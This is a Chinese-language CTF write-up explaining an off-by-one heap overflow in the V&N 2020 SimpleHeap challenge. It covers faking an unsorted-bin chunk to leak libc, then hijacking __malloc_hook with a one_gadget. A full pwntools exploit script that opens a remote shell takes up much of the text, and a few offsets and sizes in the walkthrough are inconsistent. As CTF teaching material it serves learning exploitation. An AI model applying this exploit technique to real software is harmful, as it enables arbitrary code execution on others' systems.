off-by-one漏洞体现在堆利用上,一般是输入功能里比能够多溢出一个字节的漏洞。
这个漏洞一般是菜单题中edit功能可以溢出一个字节。
这里先涉及到一个知识:在我们申请chunk的时候,如果我们申请的大小是0x···尾数是8的的时候申请的堆块的最后8字节就会使用下一个chunk的prev_size位,我们多溢出的一个字节就可以用来覆盖下一个chunk的size位。
这里以2020V&N公开赛的SimpleHeap为例,讲述该题泄露libc基址的过程。
该程序在编写用address这个数组存放了每个申请到堆块的地址, 当我们申请到堆块的时候,会把返回的地址存放在address数组中。当堆块被free掉,address会清0。
程序对申请的堆块有大小限制,<0x6F,限制了我们用unsortedbin来泄露libc。但是我们可以通过漏洞来伪造一个unsortedbin。
漏洞点:

泄露libc思路
Add(0x18,'a'*0x18)#0
Add(0x18,'a'*0x68)#1
Add(0x18,'a'*0x68)#2
Add(0x18,'a'*0x18)#3
Heap: chunk 0 size:0x21
chunk 1 size:0x71
chunk 2 size :0x71
chunk 3 size:0x21
Edit(0, 'a' * 0x18 + p8(0xe1))
通过这个单字节的溢出将chunk1的size位字节伪造成0xe1(正好是0x70+0x70+1)
heap: chunk 0 size:0x21
chunk 1 size:0xe1
chunk 3 size:0x21
这个时候chunk1和chunk2合并成了一个chunk,大小符合unsortedbin的大小,我们的机会就来了
delete(1)#这时chunk1就被放入unsortedbin里面了
但是因为chunk1被delete了,address[1]的位置被清空了
所以不能直接打印出来,我们需要再将1申请出来,把unsoredbin切割一下
chunk1的fd处的值就是main_arena+0x58
Add(0x68, 'a') # malloc chunk1 again
chunk2的fd上正好是main_arena+0x58
此时address[2]没被清空,可以打印出来
show(2)#fd只接受6位就好了后面补'\x00'
libc=u64(sh.recv(6).ljust(8,'\x00')) - 0x3c4b783#调试到是多少位的数就接受多少位
至此,泄露libc完成,接下来就是常规的劫持__malloc_hook
malloc_hook和realloc_hook的相互配合触发one_gadget
完整exp:
from pwn import*
#sh = process('./SimpleHeap')
sh = remote('node3.buuoj.cn',29969)
libc = ELF('./libc-2.23.so')
def Add(size,content):
sh.recvuntil("choice: ")
sh.sendline('1')
sh.recvuntil('size?')
sh.sendline(str(size))
sh.sendafter('content:', content)
def Edit(idx,content):
sh.sendlineafter('choice:', str(2))
sh.sendlineafter('idx?', str(idx))
sh.sendafter('content:', content)
def show(idx):
sh.sendlineafter('choice:', str(3))
sh.sendlineafter('idx?', str(idx))
def delete(idx):
sh.sendlineafter('choice:', str(4))
sh.sendlineafter('idx?', str(idx))
def debug():
gdb.attach(sh)
pause()
Add(0x18, b'a') # 0
Add(0x68, b'a') # 1
Add(0x68, b'a') # 2
Add(0x18, b'a') # 3
#debug()
Edit(0, b'a' * 0x18 + p8(0xe1))
#debug()
delete(1)
#debug()
Add(0x68, b'a') # 1
#debug()
show(2)#leak libc
#debug()
libc_base=u64(sh.recv(6).ljust(8,'\x00')) - 0x3c4b78
log.info('libc_base:'+hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['__libc_realloc']
fake_chunk = malloc_hook - 0x23
one_gadget = libc_base + 0x4526a
#log.info('one_gadget:'+hex(one_gadget))
Add(0x68, 'b') # 4 2
delete(4)#take idx2 from unsortedbin to fastbin
Edit(2, p64(fake_chunk) + b'\x0a')#idx2's fd->fake_chunk
#debug()
Add(0x68,'c')
#debug()
payload = p8(0)*11
payload += p64(one_gadget)
payload+= p64(libc_base+0x846C0+0xc)
Add(0x68,payload)#get idx8 malloc_hook chunk
#debug()
sh.recvuntil("choice: ")
sh.sendline('1')
sh.recvuntil('size?')
sh.sendline(str(0x18))
sh.interactive()